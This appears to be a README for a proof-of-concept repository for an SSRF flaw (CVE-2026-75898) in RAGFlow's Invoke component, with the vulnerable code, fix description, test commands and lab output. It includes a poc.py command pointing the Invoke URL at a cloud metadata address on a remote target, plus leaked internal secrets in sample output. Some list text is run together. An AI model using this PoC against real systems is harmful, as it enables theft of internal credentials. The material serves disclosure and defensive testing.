
Proof-of-concept for CVE-2026-75898, an SSRF in RAGFlow's Invoke component. Demonstrates the vulnerability with unmodified source, includes E2E tests, fix comparison, and Docker-based reproduction for authorized security testing.
| CVE | CVE-2026-75898 |
| CVSS | 8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N) |
| Fixed in | v0.26.3 |
| Fix commits | c4fe68e, e16d1a0 |
| Issue refs | infiniflow/ragflow#15425, #18280 |
| Advisory | VulnCheck |
In agent/component/invoke.py of v0.26.2 the Invoke component constructs the
request URL from user-supplied variable templates and performs no validation
of the resolved host:
def _build_url(self, kwargs: dict) -> str:
url = self._resolve_template_text(self._param.url.strip(), kwargs)
if not url.startswith(("http://", "https://")):
url = "http://" + url
return url
This URL reaches requests.get/post/put in _send_request(). Because
allow_redirects is left as the requests default (True), an attacker can:
url to an internal address (127.0.0.1, 169.254.169.254,
RFC1918 ranges, resolved-host pinning does not exist), orThe fix adds assert_url_is_safe() + pin_dns() and forces
allow_redirects=False.
Unlike "looks-like" re-implementations, this repo runs the unmodified v0.26.2 source of the vulnerable component:
target/invoke_v0.26.2.py — byte-for-byte agent/component/invoke.py
from the v0.26.2 tag.e2e/test_genuine_ssrf.py — loads that real file behind thin import stubs
(the stub replaces only unrelated imports: ComponentBase, the timeout
decorator and HtmlParser — none of the SSRF-path logic is touched) and
proves the component reaches an internal service directly and via a redirect
chain.e2e/test_fix_guard.py — applies the upstream guard (assert_url_is_safe,
allow_redirects=False) on the very same file and shows the requests are
blocked.Validated in three independent ways:
e2e/test_genuine_ssrf.py drives
the unmodified target/invoke_v0.26.2.py source against loopback lab
servers — SSRF confirmed.e2e/test_fix_guard.py applies the upstream guard to
the same file — blocked.v0.26.2 (infinity+mysql+minio+valkey)
via docker compose; an Invoke node in a real agent flow fetched
INTERNAL-DB-SECRET:dbpassword=SuperSecret123 from an internal host port.
See LAB_DEMO.md for the verbatim evidence.cd e2e
python3 test_genuine_ssrf.py # must print SSRF confirmed (vulnerable)
python3 test_fix_guard.py # must print BLOCKED (fixed behavior)
[1] Direct SSRF: url -> http://127.0.0.1:9380/internal/admin/reset
response: 'INTERNAL-SECRET-/internal/admin/reset' (X-Internal header: true)
[?] SSRF confirmed: internal service reached, secret leaked
[2] Redirect SSRF: url -> http://127.0.0.1:9381/ -> 302 -> 127.0.0.1:9380
final: 'INTERNAL-SECRET-/internal/redirected'
[?] SSRF via redirect chain confirmed
Requires an authenticated session token (Invoke runs inside an agent flow).
python3 poc.py --poc # local E2E
python3 poc.py --check --target https://ragflow.example.com \
--token $TOKEN --invoke-url http://169.254.169.254/latest/meta-data/
Invoke node URL templates to an allowlist.Fixed in RAGFlow v0.26.3 (Aug 2026). This PoC was independently reconstructed from the public advisory and fix commits for authorized security testing and education only. Not affiliated with InfiniFlow.